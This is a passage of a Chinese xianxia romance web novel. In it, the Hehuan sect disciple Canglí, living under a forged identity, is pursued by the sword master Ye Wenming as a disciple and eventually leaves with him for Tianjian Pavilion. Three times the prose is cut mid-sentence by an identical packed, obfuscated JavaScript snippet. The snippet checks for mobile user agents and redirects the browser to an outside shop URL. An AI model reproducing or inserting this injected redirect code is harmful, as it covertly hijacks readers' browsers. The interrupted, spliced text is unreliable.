“但很有效果,你的姘头们没法计较了,都走了。可能是打道回府了,也可能是找我那个曾曾师祖去了。” 舒云叮嘱苍黎,说, “逐药圣出师门这事是秘密进行的,没有声张,你别往外说啊……不然药王谷要被整个修界笑死。” 舒云将蜜钱留下,把药碗收了,端着托盘起身,说道: “我得去别的药庐里盯别的弟子干活,这些小子们都毛手毛脚的,别给病患治坏了,毁了药王谷的清誉。” 苍黎送舒云出了门。 接下来的几日里,丹迭子在替苍黎除去她体内残留的忘情水的药性,又以金针试着帮苍黎恢复情根,但效果几近于无。 他也派了人,在修界寻找失忆姑娘的家人,虽然不是真找,但也演得很逼真。 治了几日后,丹迭子只能摇头。 “你的情根恢复不了了,过几日叶温明离开药王谷后,我派人送你回合欢宗吧。我给你些能永葆青春的丹药,再给你些福寿丹,算做是补偿。” 苍黎听懂了丹迭子话中的意思: “你要我当个命长的、青春永驻的凡人?” 丹迭子安抚道: “你师姐这些年那副样子,你师父也依旧疼爱她。由此来看,你就算再也不能修炼,合欢宗的人也不会亏待你。” “不、不……” 苍黎摇了摇头,她伸手抓住丹迭子的袖子,说道, “丹谷主,我不能不修炼。我不止要修炼,还要修得快,最好像从前一样快。” 丹迭子与她对视,苍黎那双杏眼里浮动着光芒,异常的坚毅和倔强。 丹迭子拂开她的手,从乾坤袋中取出一枚玉简。 “你还想修行,就不能再回合欢宗了,也不能再当苍黎了。” “记住,你名叫穆离离,出身于西境祁州穆家分支,因家族争权内斗而失去双亲及手足,是唯一幸存下来的人。你曾有些修为,但在内斗时被人坑害,修为全失。” 丹迭子将伪造的穆氏弟子玉简交给她,细心叮嘱道, “你不要在西境活动,虽说你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096381|195626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抹妆的模样跟平日里大不相同,但眼尖的还是能认出来。你带着这玉简,去鲜少有人认识你的东境,拜入云海仙门吧。你的水天灵根还在,在那里找个好师父不难。” “但要和从前修炼得一样迅速,是不可能的。正儿八经地靠自己修炼,和合欢宗的采补双修之法,修炼速度不可能一样。” 苍黎知道,这可能已经是最好的安排了。 她从丹迭子手中接过玉简,跪于地面,向丹迭子叩首: “多谢前辈恩情。” 离开药王谷之前,苍黎去了趟雪庐。 药王谷有一处秘境,秘境中漫山飘雪,银装素裹。丹迭子在秘境中搭了草庐,时常与友人在此煮酒烤茶,好不惬意。这间草庐,就是他人口中的雪庐。 苍黎靠近雪庐时,就看见那带着她慢悠悠走了十五日的剑修在煮茶,他一身白衣,气息清冷,几乎与大雪天融为一体。 叶温明感觉到了她的靠近,侧头静静地看她。 苍黎恭敬道:“尊上。” “嗯。” 叶温明应了,淡淡问道, “我已听闻你之身世,你之后作何打算?” “不是什么好身世,所幸我什么也不记得。” 苍黎脸上带着淡淡的笑意, “丹谷主说我有修行天赋,我准备去修行。我要走了,想着走之前应当和尊上拜别,多谢您对我的救命之恩,以及这半月的照拂。” 叶温明问:“去何处修行?” 苍黎老实答道:“应当会拜入云海仙门。” 叶温明放下手中扇炉火的蒲扇,道: “为何要去云海仙门?” 苍黎抬起头,茫然道:“……那我去哪?” “你是水天灵根,与我一样。” 叶温明站起身来,道, “当我的徒弟,不比去云海仙门好吗?虽说跟着我,修炼更辛苦些,日子也过得艰难,得想办法凑点好材料给你打把剑……” 叶温明说着说着,声音越来越小。 但苍黎已经傻了,指着自己问: “您、您想让我……当您的徒弟?” “嗯。” 叶温明目光飘向远处,说, “我有一个徒弟,天赋不如你,他不愿继续修无情道,离开了师门。我此次西出有两件事要做,一是要来药王谷调理,二就是将他带回去。” 苍黎:“……” 你不是去杀我的吗?只是去找徒弟? 还要在药王谷调理?调理什么? 苍黎叹了口气,说: “您的前徒弟不愿意修无情道,您为何还要将他寻回,强扭的瓜不甜的。” 叶温明的神色和语气依然淡淡的: “他不是禽鸟,更不是瓜,他是个人。他做错了事,走错了路,我作为他的师长,要纠正他,引他回该走的道路上,而不是让他自由地飞。” 苍黎有些费解,问: “您不打算撒手?” 这么有耐心的吗? “不,我不打算留他。” 叶温明淡漠地说, “他已经回天剑阁了。但他种种行径,都已经证明他不适合无情道,再修下去,迟早要出事。待我回去,我会为他寻一位更适合他的师父。” “我的确烦恼过要不要将他逐出师门,因为这样做我就没有徒弟了,问心剑可能会失传。然后,我就遇见了拥有水天灵根、前缘已断的你,如此恰到好处,应当是缘分使然。” 叶温明站在雪中,对披着斗篷、却还冻得手脚冰凉的苍黎伸出手。 “选我吧。” 8. 她想睡我 苍黎站在一片白茫中,她身后的脚印已经被新雪掩埋。那脚印就像她作为合欢宗修士的人生,走着走着,便不见了踪迹,也永远都不能再见踪迹。 她迟疑地,望着叶温明伸出的手。 光阴在一点点流逝,叶温明的手却迟迟没有收回,他在等,等苍黎握住他的手。 苍黎摇了摇头:“抱歉,尊上。” 苍黎不再看叶温明,转过头去,沿着来时的路离开,一步一步,踩出新的脚印。 叶温明注视着她的背影,片刻后,他拿出了灵镜。 舒云就在雪庐外等着。 丹迭子要找个人送苍黎去东境的云海仙门。舒云便主动向师父请命,由她来完成此事。丹迭子知道她们关系不错,而且他本来就宠徒弟,二话不说就答应了。 “出来了?咱们走吧。” 舒云唤出飞行法器,道, “你怎么一脸菜色?进雪庐之前,不还好好的吗?被剑尊刁难了?” 苍黎:“……” 苍黎沉默了有一会儿,才道: “你听我说……” 苍黎将自己进入雪庐后与叶温明的对话,一成不变地讲给舒云听。 “……啊?啊??” 舒云张大嘴巴,好半晌才反应过来,用力一捶法器,惊恐道, “他、他疯了?” 苍黎拉住舒云的手:“你别把法器捶坏了……” 舒云天生怪力,若不收着力,几拳就能将寻常的法器砸个稀巴烂。 舒云渐渐冷静下来,道: “……其实,他想收你当徒弟,也合情合理。他一个天灵根,遇见个和他灵根相同,又适合修无情道的人属实不易。我要是他,我也不放过你。” “可是……可是你是……” 一想到苍黎的身份,舒云就觉得,这件事实在是太炸裂了。 苍黎也很无奈:“是吧?” 舒云抬手抵住下巴,仍在细细琢磨此事,琢磨着琢磨着,便开始恶向胆边生: “要不然,你答应他吧?” 苍黎震怒道:“你疯啦?” 舒云竖起大拇指: “可是这么好的机缘,千载难遇啊!” 苍黎抓住舒云的大拇指,把她的手按下去,小声提醒: “纸不一定能包住火啊!我要是当了他的徒弟,以后有一日,他发现我是合欢宗的那个苍黎,还能让我活吗?” “可你‘失忆’了啊,你根本就不知道自己是合欢宗的苍黎。” 舒云握住苍黎的手, “而且是他想收你做徒弟,不是你想拜他为师,这事赖他,不赖你。” 苍黎瞳孔震颤—— 但苍黎很快就想到了做坏事的漏洞: “我是‘失忆’了没错,但你和你师父是知道我的真实身份的,还帮我伪造了假身份,到时候这件事捅出来……” “……唔。” 舒云噎住了。 就在这时,舒云的乾坤袋响了一声。 “我师父的传讯,我看看……” 舒云从乾坤袋中拿出灵镜,瞧着传讯,她脸上带上些许欣喜,对苍黎说, “好消息——我师父说,他突然有点头绪了,你的病或许还有得治,得再留你几天。” 的确是个好消息。 舒云让飞行法器调了个头: “我们回烛龙药庐。” 苍黎拧起眉毛。 明明是好消息,她却觉得不安。 回了烛龙药庐后,舒云就被丹迭子叫去忙了。 苍黎则是待在药庐里,等着丹迭子过来,但左等右等,都没见到人。舒云也没再来,只有个小药童给苍黎送药过来,这药不难喝,甚至是甜甜的。 次日,丹迭子还是没来,来得仍然是那个小药童,他端着一碗药过来,对苍黎说: “离离姐姐,谷主邀您去赏桂花。你喝完药,我们就过去吧。” 苍黎觉得不对劲。 但她得见丹迭子,即便是不对劲,她也要赴这赏花之邀。 小药童以飞行法器载着苍黎翻了两座山,才来到种满了桂花的丹桂山里。 飞行法器在山中落下。 “姐姐,你沿着此路往前走,便能见到谷主了。山里只有这一条路,不必担心迷路。” 小药童对苍黎说, “我还有课,要赶紧去书堂,若是迟到了,掌教先生又要骂我了。” 苍黎下了飞行法器,说:“你去吧。” 小药童飞走后,苍黎便沿着这唯一的一条路,弯弯绕绕地穿过桂花林。 走了没多久,她便见到了人。 桂花林的深处摆了一张石桌,身着白衣的叶温明独自坐在桌边,他面前摆了个茶盘,玲珑瓷的公道杯中冒着热气,显然是刚冲的茶汤。 苍黎停下脚步,与叶温明对视,问: “丹谷主呢?” 叶温明淡淡答道:“他有事,先走了。” 苍黎:“……” “坐吧。” 叶温明道, “此地丹桂如霞,值得一赏。” 他话音刚落,小巧的玲珑瓷茶杯便飞去石桌对面,公道杯也被仙法拎起,往那小杯子里倒了茶。 苍黎并没有坐去对面,她说: “尊上,我身体有些不适,先回药庐了。” 叶温明道:“我送你。” 苍黎拒绝了:“不必,我自己可以回去。” 叶温明问:“此地与烛龙药庐隔着两座山,你要自己翻过去吗?若半路碰上愿意载你一程的修士还好,若碰不到,你得走上一天一夜。” 苍黎:“……” 苍黎忍了又忍,道:“那便劳烦尊上了。” 叶温明唤出一艘小舟来。 苍黎问:“不御剑吗?” “我没有剑。” 叶温明上了小舟,道, “上来吧。” 苍黎一时间哽住,问: “没有剑?那神剑花不朽……” 千年之前,极乐宗魔君仲渊、北域妖皇白彦、幽州鬼王沉不落,为争夺修界之主的身份,在西境掀起滔天祸乱,东境他们也要争抢,因此也被祸及,莫说是凡人,就连一般修士也无力抵抗,命丧于战乱,血流漂杵。 叶温明出世,入剑冢取得神剑花不朽,而后一人一剑,镇压魔君、妖皇及鬼君,还了修界太平。 他也因此成了人尽皆知的剑尊。 他所执的神剑花不朽,也与他一同流芳百世。 可他现在却说,他没有剑。 叶温明说:“碎了。” 他语气淡漠,将如此不得了的事情,说得像掉了一根头发丝一样轻巧。 直到被载着飞上云端,苍黎都没反应过来。 苍黎问:“怎么碎的?” 叶温明淡淡道:“折碎的。” 折碎? 花不朽是以天地为炉,由天道锻造而出的神剑。它落在地面后,周遭千里,生气尽折于剑下,无一生灵。因此它所在之地,被称为剑冢,即因剑而成的,生灵的坟墓。 有无数修士想取得花不朽,可皆无法拔剑,甚至连靠近都困难。 花不朽自诞生起,在剑冢里待了上万年,直到叶温明为天下苍生而入剑冢,才终于有了主人。 这样的剑,怎会轻易被折碎? 苍黎还想问,但她觉得叶温明似乎不愿意说。 就在此时,叶温明突然道: “你愿意跟我去修问心剑吗?” 苍黎:“……” 苍黎垮下脸,道:“不愿意。” 叶温明将她送回了烛龙药庐。 一夜过去,小药童端着药来了,道: “离离姐姐,谷主邀您游湖。” 苍黎:“……不去。” 又是一夜过去。 小药童又来了: “离离姐姐,梧桐峰的凤凰……” 苍黎:“不去!” …… “今日落霞峰有火烧云……” “不去。” “桃源秘境的桃花开了……” “不去。” “正在炼制的九转回魂丹要开炉了,届时将有紫气冲天……” “不去!” …… 一个月下来,叶温明日日以丹迭子的名义邀她出去,无论苍黎拒绝多少次,他都不肯放弃。 颇有耐心。 有耐心到烦人! “离离姐姐,今日……” 小药童看着苍黎不耐烦的表情,道, “今日也不去,是吗?我这便去回绝……” 苍黎打断他的话:“我要见你们谷主。” 小药童还记得自己要撒的谎: “谷主就在……” 苍黎对小药童说:“你告诉丹迭子,他要是不来见我,我就真拜剑尊为师了。” 小药童支支吾吾片刻,还是答应了: “……我会转达的。” 没过两刻,丹迭子就来了。 他尚未开口,苍黎已经劈头盖脸地质问: “叶温明日日都借你的名头邀我,你不管吗?” “哎哟……” 丹迭子愁眉苦脸地说道, “……我管不了啊。” “一来呢,你用的这假身份,很适合拜他为师,我找不到理由阻止她。二来,他这个人就是劝不住的。” 丹迭子朝着苍黎倒苦水, “他这人看着寡淡,实际上极为自我,做事不达目的绝不轻易罢休。他不打算要叶永思这个徒弟了,他需要一个新的问心剑传人,这对他来说很重要。” 苍黎皱着眉问: “那我是拒绝不了了吗?” “不不不不,你可千万要坚持住。” 丹迭子慌乱地劝阻道, “你要是答应了,你以后败露了,说不定真会被杀……他和苍楚是死敌……” “死敌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096382|195626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 苍黎有些疑惑, “我师父虽然算不上正道,但也不至于和剑尊是死敌吧?我知道,我如果答应他,会让帮我隐瞒身份的你和舒云不好做人,为人为己,我都不会答应的,你不用为此扯谎。” 丹迭子问:“你不知道?” “知道什么?” “花不朽有剑灵,你师父与他相互倾心。后来不知道为什么,叶温明把花不朽的剑身连带剑灵一起毁了。” 丹迭子对苍黎说, “你师父为了报复,毁了叶子墨的道心,导致叶子墨走火入魔而亡。” “你真的不知道?” 叶子墨是叶温明的师弟。 千年前,他常在世间行走,留下了不少传闻。可后来,他就没了踪迹。修士动辄一闭关就是好几年,再也不出关的也不是没有,所以他消失时也无人在意。 苍黎认真地摇了摇头,问: “你说的这些……应该没什么人知道吧?” 苍黎认识的人很多,消息来源也广,可是,丹迭子说的这些事,她未曾听闻过。 什么苍楚倾心于花不朽剑灵,什么花不朽被碎剑,什么叶子墨被毁了道心后走火入魔而亡,她全都没听说过。 她只知道,因为无情道与剑道的修士格外适合合欢道的采补双修之术,合欢宗弟子没少勾搭天剑阁弟子。 有这样的旧事,剑尊还能容忍合欢宗修士接触天剑阁弟子,也未免太宽容了。 不过这也还能解释。 两宗弟子勾搭到一起,也并非对天剑阁里修无情道的那部分弟子全无好处—— 勘破红尘,杀妻杀夫证道,于无情道修士的修行大有进益。 也很容易走火入魔就是了…… 对苍黎而言,最怪异的是,苍楚没将花不朽的事情告诉她。 为什么呢? “事情是很隐秘,叶温明若是不需要我的医治,我可能至今都不知道花不朽已碎。当然,我直到现在也不明白其中细节。” 丹迭子困扰地看着苍黎,说, “但你身份特殊,你是苍楚的徒弟,还是合欢宗的少宗主,这么大的事情,你不该一点也不知道……你师姐是知道的,她以前不喜欢佛子的时候,是祸害过无情道修士,也祸害过剑修的,但她从没碰过天剑阁的人。” 苍黎低下头,脸上带着恍惚。 师姐…… 宗门众多弟子都被她提醒过,不可招惹天剑阁,只是她未细说,大家也都没当回事罢了。 还有人和她争辩,说天剑阁弟子适合修炼。 她当时是怎么答的? ——算了,和你说不清。 苍黎还记得,自己没有被师姐提醒过。 提醒了那么多人,却独独没有提醒师妹。 她和师姐关系挺好,没什么过节啊。 少宗主之位也不是她强抢的,是师姐自己搞丢的,不能怪她。 是因为她从出山历练前就抵触佛修和无情道修士,绝不会碰剑尊这个无情道所掌管的天剑阁的弟子,所以没必要提醒吗? 那师父又是怎么想的? 时过境迁,觉得自己和叶温明之间的仇恨已经消散,所以没必要告知终究要接替宗主之位,也是唯一能接替宗主之位的小徒弟? 这不扯淡呢么? 所以,她们为什么隐瞒她? 苍黎琢磨了许久,抬头问: “丹谷主,你怎么那么了解我师姐?” “当年她自己干的好事!短短半年误吃毒草毒蘑菇八次,失足落水六次,在我外出时从天上掉下来砸到我五次!她还往我茶杯里下合欢散!我当然要查她!这些事你也不知道?” 苍黎抬手擦了把汗: “……听说过但忘了,您一说我就想起来了。” 师姐看上那死佛子之前,也是个很合欢宗的合欢宗妖女来着。 不过这也不能怪师姐啊…… 丹迭子没什么情史,元阳大概率还在。 合欢宗修士看见元阴元阳,就像狗看到肉包子,而丹迭子境界高,他的元阳就是肉包子中的极品。 合欢宗的女修能放过他才有鬼。 没想到丹迭子比无情道还无情道—— 他是个医修,满脑子医术、丹道和药材,再漂亮的人到了他面前,也不过是披了皮囊的血肉白骨。美人千方百计追他,他就只会觉得麻烦,耽误时间,浪费生命。 灵网上有句对丹迭子的评价: 【心中无女人,施针自然神。】 苍黎认认真真地给他道歉: “对不起,前辈,我替师姐给您道歉。合欢宗的人就是这样的,您别放在心上。” 丹迭子心想,那当然没放在心上,不然他早被这群合欢宗的气死了。 他长叹一口气,说道: “唉,罢了罢了,花不朽这事,我只是个局外人,个中原因我也搞不明白。你就像你说的,为己为人,都别拜叶温明为师,这样做就行了。” 9. 不需要剑 丹迭子离开后,苍黎便躺在了床上。 ——离离,你记住,如果有人问你,家里为什么会起火,你就回答不知道。明白吗? ——水属性天灵根啊……真是修炼的好苗子,你要跟我去修行吗? ——对了,小姑娘,你知道你家为什么被烧吗? 她手背搭在额头上,脑袋里回响着娘亲和苍楚的声音,还有那邪火烧得噼里啪啦的声响。这些声音越来越响,响到她甚至感觉,自己好像又置身于那场大火。 苍黎这一躺,就躺到了第二日晌午。 五谷堂弟子送来的药膳还放在桌上,她一口也未动,那些食盒是怎么提来的,就怎么被提走。 病人绝食是不行的,五谷堂的人本要将此事汇报给管理烛龙药庐的弟子。但苍黎向他们要了辟谷丹,也吃了,看来并没有绝食求死之意。此事就先搁下,没有上报。 小药童端着药,如期而至: “离离姐姐,今天也拒绝,对吧?” 他都不和苍黎说叶温明借着丹迭子的名义邀她去哪了—— 反正苍黎的回答是一成不变的拒绝。 “不,今天不拒绝。” 苍黎坐起身来,脸上带着一夜未眠的倦色,伸手接过小药童递来的药,说, “等会儿劳烦你送我过去。” “欸?” 小药童愣了片刻,才应道, “好,我送你。” 叶温明今日在一处很难找的山涧边,一边看着潺潺流水,一边往水中洒馒头渣,引得山涧里的小鱼过来抢食。 叶温明对被小药童送来的苍黎道: “来了?” “来了。” 苍黎迈步走近叶温明,道, “尊上真是不厌其烦,您就这么想要收我做徒弟?” “想。” 叶温明拍了拍身边的石头,说, “你来是为了拒绝,还是……” 苍黎问:“我若是拒绝,尊上会怎么办?” 叶温明回答:“明日邀你去看梨花。” 苍黎心想,这人是挺有耐心的。 她在叶温明拍过的石头上坐下,接过他递来的一小盒馒头渣,给溪涧中的鱼儿撒了一大把,问道: “如果我拜你为师,我的剑,你会亲自锻造吗?” 叶温明应道:“会。” 苍黎想了想,又说道: “我贪吃,学习辟谷会很慢。” 叶温明并不介意这点小问题: “没关系,天剑阁虽然穷,但还揭得开锅。只是,阁中没有烧柴做饭的弟子,如果你不介意,我可以……” “我介意。” 吃叶温明做的饭,还不如辟谷呢。 “为何没有烧柴做饭的弟子?” 叶温明坦然地选择了实话实说: “穷,天剑阁弟子一入阁,学的第一件事就是辟谷。” 苍黎:“……” 这叫揭得开锅吗? “其实是有钱做饭的,但得节约点。” 叶温明抬起手,掐算几下,说, “否则付不起打架损坏赔偿账单,也给不起医药费……天剑阁弟子还挺容易受伤的。” 苍黎面无表情地往溪涧里撒鱼食。 叶温明也不说话,安静地坐在一边。 盒子里的鱼食撒干净后,苍黎主动开口,询问了自己想要知道的事情: “您先前说,您来药王谷是为了调理,身体出了什么问题吗?” 丹迭子说,如果不是叶温明需要他的医治,他可能至今都不知道花不朽被折碎的事。 所以,叶温明的病,和花不朽有关。 这事从丹迭子嘴里是问不出答案的,而且丹迭子知道的信息似乎不多,不如直接从叶温明这里打探。 叶温明道:“没有方向感。” 苍黎:“……呃。” 原来迷路是因为这个啊? 这和折碎花不朽有什么关系? 苍黎问:“这个能治?” “治不好,但调理之后会好一些。” 叶温明的语气很淡,他对这治不好的顽疾的存在,似乎并没有感到困扰,他说, “也不完全是坏事,若是没有迷路,也不会遇到你。” 苍黎心说:其实这是件糟糕透顶的事情。 “修习问心剑很艰苦。” 叶温明提醒道, “你要考虑好。” 苍黎觉得这人真是古怪。 为了收她做徒弟,不厌其烦地烦了她一个多月,现在她展示出可以考虑的意思,这人又警告她,学问心剑会很辛苦。 不想要徒弟了? 苍黎点点头:“练剑当然会辛苦,我尽力坚持,您也多包容点。” “还有一事。” 叶温明的语气变得严肃认真起来, “你家人皆亡,虽然你不记得了,但以后有可能想起来,到那时,你不能恨。强烈的爱恨或许能助你勘透‘情’字,让你无情道大成,但更有可能让你走火入魔。” 苍黎垂下头。 怎能不恨呢?怎么可能不恨呢? 她平复心绪,将装鱼食的盒子还给叶温明,很是认真地回答道: “好。” 为了拜叶温明为师,不管叶温明提出何等要求,她都要答应。 “回烛龙药庐收拾收拾吧。”叶温明道,“明日便启程回天剑阁。” 苍黎没有起身,她说: “恐怕不行,丹谷主还在为我治病,我每天都在喝药。” 叶温明坦言道: “你的病他治不了,他也没打算继续给你治。那日你要离开药王谷的时候,是我让他找个名头留下你。你喝的药汤也不是治病的药,里面皆是些温补药材。” 苍黎捂住脸:“我就知道是这样。” 叶温明问:“刚刚为何假装不知道?” “我只是心中有所怀疑,有八九成的把握。假装不知道,是为了从您这里套取到一个确切的答案。” 苍黎压下怒火,抱怨道, “您真的很过分。” 叶温明说:“抱歉。” 苍黎起身,搭了叶温明的飞舟,朝着烛龙药庐飞去。 苍黎坐在飞舟上,飞入云海时,问: “没了花不朽后,您没有寻一把新剑吗?” “不曾。” 叶温明回答道, “别的剑我用不惯,而且,我已不需要剑了。” 苍黎觉得,叶温明是个剑修,剑修没有剑是不行的,便假设了一个情景: “若是当年之敌再起祸乱……” 叶温明肯定道:“不需要用剑。” “他们三个一起上……” “不需要。” 叶温明的回答仍然坚定。 苍黎:“……” 讲真的,她要是魔君、妖皇和鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096383|195626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王中的任意一人,听见叶温明的话,都要气晕过去—— 何等猖狂!何等猖狂!简直不把他们放在眼里!他们好歹也是大乘期,跟叶温明同等境界啊! 将苍黎送回烛龙药庐后,叶温明就回雪庐去了,他还需要丹迭子再给他调理一次。 苍黎的东西不多,简单收拾后,她便站在桌前、滴水研墨。待墨汁浓稠,她在桌前坐下,提起狼毫笔,蘸过墨汁后,就要落笔于纸上。 她得给丹迭子和舒云留个信。 只是,尚未落笔,厢房的门便被推开。 舒云没有关门,她大跨着步子,带着呼呼的风走进来,于苍黎写字的桌前停步,低头看着坐着的苍黎,满脸愤怒。 舒云大声质问道: “你为什么要拜剑尊为师?” “舒云,对不起。这些日子里,你和丹谷主一直很小心地为我隐瞒身份。我拜剑尊为师,若被揭穿,不止浪费你们的苦心,还会让你们难做人。” 苍黎站起身来,说, “但我有不得不这么做的理由……他日若纸包不住火,我会一力承担,尽可能不让你和丹谷主为难。” 舒云直接揪住了苍黎的衣襟: “为不为难有什么要紧?难做人又有什么要紧?事情若是败露,我和师父不会受到什么实质伤害,可你呢?你能保住命吗?如此欺瞒,剑尊能饶了你?” 苍黎歪过头去,缄默不语。 “你不是一直都很惜命吗?惜命到打死都不碰无情道。你现在是怎么了?” 舒云眼中含着怒意,也蕴着水光, “有什么理由?什么理由值得你赌上命?” “我需要一个能让我以最快的速度提升修为的师父。剑尊愿意收我为徒,如此机缘,他人恐怕几辈子都碰不到。” 苍黎神情黯淡, “至于另外的理由,现在还不能说。” “我不管!我才不管你有什么理由!什么苦衷!你要是跟着剑尊走了,你就别再和我做朋友了!” 舒云撂下话语后,撒开苍黎的衣领,气冲冲地走了,连门也没关。 苍黎慢慢地朝着门踱步过去,她没有出去追舒云,而是将门关好,回身走向床榻,准备休息。能说的话,她已经和舒云说了,信没必要写了。 又是一夜未眠。 天大亮后,叶温明来接她了。 丹迭子也来了。 叶温明淡淡道:“不必送行。” “谁要给你送行?” 丹迭子从乾坤袋中掏出一沓纸来,在叶温明面前晃了晃,让纸张发出哗啦啦的响声。 “这是医药费,一共十八万六千零三两银。” 叶温明:“……” 苍黎:“……” 叶温明道:“她还未行拜师礼,不算是我徒弟。” 苍黎:“……” 咋的了?为了不付钱,徒弟都不要了? 丹迭子冷嗤一声,对他说: “这是你的医药费,不包括你徒弟的。那六千零三两的零头给你抹了,给我十八万两银就行。” 叶温明背过手去,一派淡定模样: “你以为我缺的是那六千多两吗?” 丹迭子问:“那你缺什么?缺那十八万两?” 叶温明淡然道:“我连三两都缺。” 丹迭子:“……” 苍黎:“……” 为什么他能穷得这么理直气壮啊?! 10. 絮如雪 “先欠着。” 叶温明接过账单,在上面留了灵印,道, “过一阵子就结清这笔钱。” 丹迭子与他相识多年,早就预料到他掏不出钱来。此次过来要钱,也只是报复叶温明这些日子软磨硬泡,硬要收苍黎为徒的行为。 丹迭子没有多为难,收了账单,便放行了。 叶温明以飞舟载着苍黎,飞离药王谷,朝着天剑阁赶去。他神情从容,没有辨不清方向的困扰,看来丹迭子的医治还算有效。 苍黎坐在飞舟上,朝着叶温明索要物件: “尊上,能给我买个灵镜吗?” 她有网瘾,这些日子没有灵镜,上不去灵网,可把她给憋坏了。 叶温明纠正道:“叫师尊。” 苍黎面无表情地用他说过的话堵他: “我还没行拜师礼,不算是您的徒弟,不能叫您师尊。” 叶温明:“……” 叶温明当真没有迷路。 两个时辰不到,苍黎已经能窥见矗立于东海之侧,云雾缭绕的景山。 天剑阁就位于景山山脉中,朱色建筑自山腰而起,直至山顶,高矮有序,鳞次栉比,巍峨宏伟。 看起来不像没钱的样子…… 叶温明没有直接飞入天剑阁,而是提前让飞舟落下,落在景山山脚下。 与药王谷的山脚下有悦城一样,天剑阁所在的景山山脚下,亦有一座城,名为景山城。 不同于悦城的繁华热闹,景山城街上人流稀少,且扮相皆不华丽,看得出家中条件一般。他们说话时细言细语,一点也不吵嚷,很是安静。 苍黎时常离开合欢宗,到处乱跑,但她乱跑的范围只在上修界西境,从未来到过东境。她自然也没来过位于东境的景山城,只是从他人口中听说过—— 因为有天剑阁的庇佑,景山城很平静,是东境下修界那些屡经战乱之祸、受尽病痛穷苦的草芥无比向往的世外福地。 苍黎问:“这城里有修士吗?” “有些具备灵根的人,不过大多是五灵根和四灵根,拥有三灵根以上资质的人,都已经被掌教带进天剑阁、或送往云海仙门。” 叶温明走在苍黎身边,道, “他们之中,有人自己摸索着修行,已经入道。为了防止这些人摸错方向,天剑阁给他们提供了一些基础的修炼秘笈。” 叶温明的到来打破了景山城的平静。 “尊上!” “尊上好。” 人们热情地和他打招呼。 “尊上又捡人回来啦?这次安置在我家吧,我家没有男人,只有个与姑娘年龄相仿的闺女,姑娘在我家待着自在些。” 叶温明对那热情的妇人说: “不能安置在你家,这是我新收的徒弟,要带上山。” “啊呀。” 妇人惊呼一声,随即面露喜色,道, “那就恭喜尊上了。” 其他人也道:“恭喜尊上。” 城里的人似乎都真心为叶温明高兴。 苍黎跟在叶温明身旁,小声问: “您时常捡人回来吗?” “我从天剑阁往药王谷去时,方向感不好,总是迷路,迷路时就会救下些生灵,大部分都被我捎带去药王谷,让药王谷想办法安置了。” 叶温明答了苍黎的问题, “在药王谷调理过后,回途时方向感是好的,不会迷路,我会直接飞回阁中,不怎么捡人。” “不过……”叶温明思索片刻,又说,“还是有救下一些人,我归途每次来景山城,都是为了安置这些人。” 那怪不得景山城的城民对叶温明捡人这事习以为常。 苍黎问: “倘若回途上救下的不是人,是一些小妖或者灵兽,您也会带回景山城吗?” 叶温明摇了摇头,道: “不行,景山城里的人会害怕。我会先将他们带回阁中,再由阁中弟子送他们去该去的地方。” 走到岔路口,叶温明熟门熟路地拐了弯。 “您要去哪?” 苍黎跟在后面,问, “往天剑阁去的路不在这个方向吧?” 叶温明没有回答,只是继续往前走,又走了些许路后,他转身踏入了一间铺子。 铺中墙面、柜台上,挂满了乾坤袋、灵镜等常见的小法器,挂不上去的大昆仑钟就放在地上,此外还有些灵石、兽牙之类的材料。 法器铺子? 铺子老板坐在柜台后,正拿着布擦拭新得的灵玉。 叶温明走路没声,他进铺子时,老板没察觉。直到苍黎的脚步声传入耳朵,他才意识到有人来了,抬头要迎客,却瞅见了叶温明,随即满脸惊喜: “尊上?” 苍黎发现,景山城的人真的很喜欢叶温明。 叶温明对老板说:“来买个灵镜,再要个乾坤袋,要好点的。钱就用这个来抵。” 叶温明从乾坤袋中取出一根羽毛。 没等叶温明开口介绍羽毛的来历,老板已经面露喜色,高兴得快要跳起来,道: “凤凰尾羽?这、这可是稀世罕见的火属性天财地珍啊!真的给我?” 老板是识货的。 叶温明转向墙面,看着诸多样式的乾坤袋和灵镜,道: “离离,挑你喜欢……” 老板连忙阻止:“不不不,不用挑!” 他转身进了里屋,很快就抱了两个木盒,他打开盒子。 一个盒子里是乾坤袋,上好的灵锦做的,还用金蚕丝绣了花样。 另一个盒子里是灵镜,以东海灵玉所造,灵玉色泽纯净,甚至起了寒光,看起来冰冰凉凉,却触手生温。 老板介绍道: “这袋子不仅还看,还能装!这灵镜是炼器阁新造的,功能很先进,不是华而不实之物!” 叶温明瞧着这两件一看就贵的法器,问: “那凤凰尾羽够付钱吗?” “何止够付钱?我还要倒找呢!” 